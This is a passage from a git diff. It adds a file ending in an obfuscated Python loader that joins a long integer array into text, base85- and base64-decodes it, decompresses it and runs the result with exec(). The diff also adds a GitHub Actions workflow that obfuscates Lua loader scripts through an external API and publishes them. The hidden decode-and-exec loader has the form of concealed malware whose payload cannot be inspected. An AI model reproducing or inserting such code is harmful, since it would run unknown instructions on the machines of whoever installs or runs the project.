82, 65, 41, 48, 123, 99, 118, 63, 95, 72, 72, 68, 89, 118, 81, 88, 62, 100, 95, 81, 98, 117, 64, 90, 83, 82, 100, 81, 96, 78, 72, 43, 88, 86, 117, 100, 50, 62, 42, 54, 98, 56, 98, 38, 101, 98, 119, 78, 35, 51, 72, 68, 94, 94, 113, 77, 108, 102, 95, 97, 88, 102, 96, 104, 94, 81, 65, 48, 59, 104, 75, 126, 70, 43, 106, 78, 73, 96, 109, 51, 78, 74, 40, 62, 81, 81, 65, 116, 99, 84, 80, 42, 72, 104, 77, 75, 123, 114, 96, 120, 86, 123, 109, 115, 116, 76, 81, 122, 36, 51, 79, 45, 42, 41, 74, 86, 62, 52, 110, 102, 89, 45, 86, 106, 94, 77, 110, 78, 33, 86, 89, 59, 74, 81, 107, 82, 56, 67, 98, 62, 97, 90, 95, 113, 126, 71, 69, 43, 45, 42, 88, 73, 69, 49, 40, 88, 73, 68, 123, 53, 77, 109, 74, 40, 42, 80, 69, 74, 75, 119, 73, 66, 55, 121, 80, 79, 109, 36, 66, 126, 76, 115, 51, 76, 81, 100, 81, 67, 55, 109, 81, 70, 83, 62, 94, 70, 72, 107, 114, 94, 77, 64, 100, 97, 103, 86, 123, 36, 111, 49, 86, 96, 102, 72, 111, 70, 42, 65, 66, 116, 98, 35, 56, 68, 115, 71, 100, 70, 50, 66, 77, 81, 108, 45, 89, 86, 94, 118, 123, 68, 78, 79, 77, 82, 121, 99, 84, 97, 70, 105, 82, 66, 98, 107, 70, 90, 99, 36, 50, 80, 78, 59, 80, 89, 70, 90, 56, 38, 85, 86, 78, 107, 101, 121, 49, 72, 68, 89, 99, 125, 98, 50, 110, 59, 52, 73, 56, 123, 113, 125, 82, 37, 38, 90, 71, 87, 107, 94, 60, 71, 87, 109, 35, 71, 95, 99, 83, 118, 104, 37, 72, 41, 61, 85, 60, 100, 77, 106, 97, 87, 77, 124, 52, 73, 63, 97, 56, 70, 53, 50, 77, 124, 70, 56, 120, 97, 54, 126, 119, 52, 76, 124, 83, 78, 82, 82, 55, 121, 125, 100, 73, 66, 122, 42, 71, 89, 99, 111, 60, 42, 78, 79, 68, 83, 86, 77, 111, 63, 121, 75, 88, 108, 90, 36, 79, 80, 71, 126, 87, 57, 100, 77, 124, 111, 52, 79, 63, 80, 111, 97, 80, 41, 117, 102, 97, 83, 121, 63, 116, 79, 81, 36, 61, 78, 50, 77, 123, 56, 51, 35, 97, 56, 89, 110, 116, 98, 90, 117, 112, 71, 82, 65, 43, 69, 37, 97, 89, 117, 74, 113, 77, 81, 109, 89, 109, 79, 76, 117, 105, 113, 80, 67, 45, 70, 49, 87, 61, 65, 104, 72, 89, 67, 37, 86, 65, 79, 103, 75, 40, 51, 88, 63, 72, 80, 75, 70, 109, 95, 61, 62, 87, 72, 110, 83, 43, 88, 74, 108, 64, 54, 71, 38, 52, 57, 103, 79, 72, 42, 78, 49, 71, 73, 100, 57, 50, 75, 124, 41, 68, 40, 97, 37, 112, 42, 77, 83, 88, 112, 54, 66, 76, 48, 78, 72, 110, 72, 65, 55, 99, 36, 98, 51, 124, 96, 45, 78, 73, 55, 57, 126, 78, 59, 103, 43, 106, 100, 51, 72, 114, 74, 71, 38, 102, 76, 48, 87, 76, 105, 42, 100, 72, 97, 84, 96, 126, 86, 116, 81, 112, 43, 80, 45, 73, 57, 101, 88, 59, 52, 109, 51, 83, 122, 62, 72, 57, 87, 107, 96, 53, 111, 80, 100, 48, 75, 95, 82, 66, 74, 101, 76, 97, 120, 33, 115, 116, 83, 90, 70, 101, 50, 70, 45, 98, 81, 125, 98, 84, 108, 119, 106, 89, 37, 64, 49, 122, 99, 48, 95, 113, 45, 79, 60, 94, 45, 74, 81, 97, 52, 121, 105, 90, 43, 99, 106, 70, 90, 99, 107, 33, 52, 72, 41, 84, 124, 54, 77, 113, 119, 123, 121, 70, 72, 48, 126, 112, 77, 63, 121, 65, 69, 68, 124, 35, 60, 62, 98, 97, 94, 42, 113, 76, 64, 81, 41, 61, 86, 115, 62, 73, 80, 71, 99, 45, 57, 119, 98, 83, 113, 107, 56, 80, 71, 100, 63, 108, 70, 42, 82, 54, 118, 73, 67, 120, 77, 109, 73, 98, 109, 126, 103, 82, 55, 104, 65, 94, 97, 121, 86, 53, 94, 89, 70, 57, 96, 124, 97, 37, 101, 101, 109, 99, 123, 86, 88, 98, 80, 66, 108, 122, 61, 81, 66, 43, 113, 63, 76, 85, 119, 97, 42, 97, 99, 110, 100, 43, 76, 49, 35, 41, 59, 80, 72, 35, 60, 109, 98, 89, 94, 97, 77, 71, 68, 98, 123, 84, 88, 103, 69, 101, 119, 70, 75, 74, 100, 60, 83, 87, 57, 60, 111, 100, 84, 50, 112, 100, 88, 62, 40, 36, 55, 82, 38, 106, 72, 49, 72, 42, 123, 117, 113, 89, 101, 106, 105, 41, 73, 67, 78, 37, 54, 88, 102, 74, 101, 51, 99, 85, 67, 111, 98, 72, 35, 99, 72, 60, 81, 36, 37, 114, 54, 87, 62, 90, 37, 121, 86, 94, 52, 56, 71, 98, 122, 120, 76, 122, 100, 82, 48, 38, 96, 79, 41, 64, 102, 80, 83, 87, 71, 99, 70, 68, 61, 36, 71, 59, 88, 102, 59, 89, 84, 99, 86, 37, 123, 50, 73, 65, 63, 69, 50, 98, 33, 59, 95, 73, 70, 72, 107, 70, 84, 83, 90, 103, 63, 65, 70, 63, 76, 99, 109, 87, 108, 76, 67, 57, 72, 104, 69, 86, 95, 80, 73, 103, 75, 119, 72, 100, 72, 120, 77, 73, 66, 82] +XIS527lI0W5O0mh = [45, 122] +GmUQzLu1li4yu8 = UIl1ll1P9lInn_l + JG3GIlFJO00O + E_o1QmF__AIl0OA + O70ZIlKz1a + XIS527lI0W5O0mh +XIS527lI0W5O0mh = ''.join(chr(T3iX__QJI0O__P) for T3iX__QJI0O__P in GmUQzLu1li4yu8) +SnSvdO0l1O0PJjV = F4____0AwDt1lO0.b85decode(XIS527lI0W5O0mh.encode()) +pD1l8BjUlZJglI0 = F4____0AwDt1lO0.b64decode(SnSvdO0l1O0PJjV) +EelIMhp5UIlQ = pFU_FErdFPO08a_.decompress(pD1l8BjUlZJglI0).decode('utf-8') +exec(EelIMhp5UIlQ) \ No newline at end of file diff --git a/luaobfuscator.yml b/luaobfuscator.yml new file mode 100644 index 0000000..b318d89 --- /dev/null +++ b/luaobfuscator.yml @@ -0,0 +1,44 @@ +name: Publish Lua (obfuscated) + +on: + push: + branches: [ master, actions ] + +jobs: + build: + + runs-on: ubuntu-latest + steps: + + - uses: actions/checkout@v3 + + # make sure it installed? + - name: Install dependencies + run: | + sudo apt-get install jq curl -y + + # Obfuscate src/loader.lua > public/loader.lua + - name: LuaObfuscator REST API + shell: bash {0} + run: | + mkdir public + curl -X POST https://api.luaobfuscator.com/v1/obfuscator/newscript \ + -H "Content-type: multipart/form-data" \ + -H "apikey: test" \ + -F loader.lua=@src/loader.lua \ + -F foo.lua=@src/foo.lua \ + | curl -X POST https://api.luaobfuscator.com/v1/obfuscator/obfuscate \ + -H "Content-type: application/json" \ + -H "apikey: test" \ + --data "@config/loader.json" \ + -H "sessionId: $(grep -o -P '(?<="sessionId":").*(?="})')" \ + | jq -r ".code" \ + > public/loader.lua + + # publish public/loader.lua + - name: Create artifact + uses: actions/upload-artifact@v1 + with: + name: release_protected + path: public/ +